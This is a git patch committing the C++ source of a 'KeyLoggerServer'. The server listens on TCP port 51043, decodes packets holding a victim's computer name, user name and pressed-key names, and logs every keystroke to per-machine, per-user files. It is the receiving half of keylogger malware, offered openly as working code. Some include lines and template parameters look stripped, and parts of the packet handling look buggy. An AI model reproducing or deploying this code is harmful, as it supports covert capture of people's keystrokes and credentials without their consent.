From fb52755d80be5525e67b3a1297cde9f2cb6e00cb Mon Sep 17 00:00:00 2001 From: dubininvyu Date: Sun, 12 Feb 2023 00:09:42 +0300 Subject: [PATCH] Initial commit --- Server/main.cpp | 137 ++++++++++++++++++++++++++++++++++++++++++++++++ Server/main.h | 49 +++++++++++++++++ 2 files changed, 186 insertions(+) create mode 100644 Server/main.cpp create mode 100644 Server/main.h diff --git a/Server/main.cpp b/Server/main.cpp new file mode 100644 index 0000000..5be2313 --- /dev/null +++ b/Server/main.cpp @@ -0,0 +1,137 @@ +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "main.h" + +TCPIPPacket::TCPIPPacket() : + typeID(1), size(0), time(0), crc32(0), + pcNameSize(0), pcName(""), userNameSize(0), + userName(""), keyNameSize(0), keyName("") +{ + +} + +void bytesToPacket(TCPIPPacket* pPacket, bytes_vector& vBytes); // функция формирования пакета из массива байтов +void processPacket(TCPIPPacket* pPacket); // функция обработки пакета + +int main() { + + std::cout << "[>] KeyLoggerServer has been started..." << std::endl; + + int sock, listener; + sockaddr_in addr; + + listener = socket(AF_INET, SOCK_STREAM, 0); + if(listener < 0) { + std::cout << "[x] KeyLoggerServer couldn't open a socket." << std::endl; + exit(1); + } + + addr.sin_family = AF_INET; + addr.sin_port = htons(51043); + addr.sin_addr.s_addr = htonl(INADDR_ANY); + + if(bind(listener, (sockaddr*) &addr, sizeof(addr)) < 0) { + std::cout << "[x] KeyLoggerServer couldn't bind a socket." << std::endl; + exit(2); + } + + listen(listener, 1); // одновременно подключиться может только 1 клиент + + bytes_vector vBytes; // вектор принятых байтов + TCPIPPacket* pPacket = nullptr; + + char buffer[1024]; + while(true) { + sock = accept(listener, nullptr, nullptr); + if(sock < 0) { + std::cout << "[x] KeyLoggerServer couldn't accept a socket." << std::endl; + break; + } + + std::cout << "[>] KeyLoggerServer has accepted new connection." << std::endl; + + uint32_t nBytes = 0; + while (true) { + + nBytes = recv(sock, buffer, sizeof buffer, 0); + if (nBytes <= 0) { // если не было принято никаких байтов + continue; // будем ждать дальше + } + + std::cout << "Number of received bytes = " << nBytes << std::endl; + + for (auto i = 0; i < nBytes; i++) { // добавляем принятые байты к вектору + vBytes.push_back(buffer[i]); + } + + if (vBytes.size() == nBytes) { // если это только начало пакета + pPacket = new TCPIPPacket(); // создаем объект под этот пакет + } + + if (vBytes.size() <= MIN_PACKET_SIZE) { // мы пока не знаем размер пакета + continue; // будем ждать его + } + + if (!pPacket) { // если что-то пошло не так + break; // просто выйдем из цикла + } + + bytes_vector vSize{vBytes.begin() + 1, vBytes.begin() + 5}; // в vSize загоняем байты размера + popValue(vSize, pPacket->size); + + if (nBytes >= pPacket->size) { // если принят по меньшей мере полный пакет + bytesToPacket(pPacket, vBytes); // из байтов формируем пакет, размер вектора уменьшается + processPacket(pPacket); // обрабатываем пакет + delete pPacket; // удаляем пакет, поскольку он уже полностью обработан + std::cout << "[>] KeyLoggerServer has been processed a new packet" << std::endl; + continue; // на этом текущая итерация закончилась + } + } + + close(sock); + } + + return 0; +} + +void bytesToPacket(TCPIPPacket* pPacket, bytes_vector& vBytes) { + popValue(vBytes, pPacket->typeID); // вытаскиваем идентификатор пакета + popValue(vBytes, pPacket->size); // вытаскиваем размер пакета + popValue(vBytes, pPacket->time); // вытаскиваем время отправки пакета + popValue(vBytes, pPacket->crc32); // вытаскиваем контрольную сумму + popValue(vBytes, pPacket->pcNameSize); // количество байтов в имени компьютера + popValue(vBytes, pPacket->pcName, pPacket->pcNameSize); // имя компьютера + popValue(vBytes, pPacket->userNameSize); // количество байтов в имени пользователя + popValue(vBytes, pPacket->userName, pPacket->userNameSize); // имя пользователя + popValue(vBytes, pPacket->keyNameSize); // количество байтов в имени нажатой клавиши + popValue(vBytes, pPacket->keyName, pPacket->keyNameSize); // имя нажатой клавиши +} + +std::string getDateTime(const uint32_t& unixTime) { + time_t now = unixTime; + tm tstruct; + char buffer[80]; + tstruct = *localtime(&now); + strftime(buffer, sizeof(buffer), "%Y-%m-%d.%X", &tstruct); + return buffer; +} + +void processPacket(TCPIPPacket* pPacket) { + std::stringstream path; + path << "/home/dubininvyu/Projects/KeyLoggerServer/data/" << pPacket->pcName << '-' << pPacket->userName << ".log"; + std::ofstream file(path.str(), std::ios::app); + if (!file.is_open()) { + std::cout << "[x] KeyLoggerServer couldn't open a file " << path.str() << std::endl; + } + + file << '[' << getDateTime(pPacket->time) << ']' << ' ' << pPacket->keyName << std::endl; + file.close(); // закрываем файл +} \ No newline at end of file diff --git a/Server/main.h b/Server/main.h new file mode 100644 index 0000000..a95eace --- /dev/null +++ b/Server/main.h @@ -0,0 +1,49 @@ +// +// Created by dubininvyu on 11.02.23. +// + +#pragma once + +#include + +struct TCPIPPacket { + + uint8_t typeID; // идентификатор типа пакета + uint32_t size; // размер всего пакета в байтах + uint32_t time; // временная метка пакета + uint32_t crc32; // контрольная сумма пакета + + uint32_t pcNameSize; // количество байтов в имени компьютера + std::string pcName; // имя компьютера + + uint32_t userNameSize; // количество байтов в имени пользователя + std::string userName; // имя пользователя + + uint32_t keyNameSize; // количество байтов в имени нажатой клавиши + std::string keyName; // имя нажатой клавиши + + explicit TCPIPPacket(); +}; + +const auto MIN_PACKET_SIZE = sizeof(TCPIPPacket::typeID) + sizeof(TCPIPPacket::size); + +typedef std::vector bytes_vector; + +template +void popValue(bytes_vector& vBytes, T& value) { + for (int i = sizeof(value) - 1; i >= 0; i--) { + const auto it = vBytes.begin(); // берем указатель на первый байт вектора + const auto byte = static_cast(*it.base()); + value |= (byte << (i * CHAR_BIT)); // ставим первый байт вектора на свое место + vBytes.erase(it); // удаляем рассмотренный байт из вектора + } +} + +template +void popValue(bytes_vector& vBytes, std::string& value, const T size) { + for (auto i = 0; i < size; i++) { + const auto it = vBytes.begin(); // получаем указатель на начало вектора + value += *it.base(); + vBytes.erase(it); // удаляем рассмотренный байт из вектора + } +} \ No newline at end of file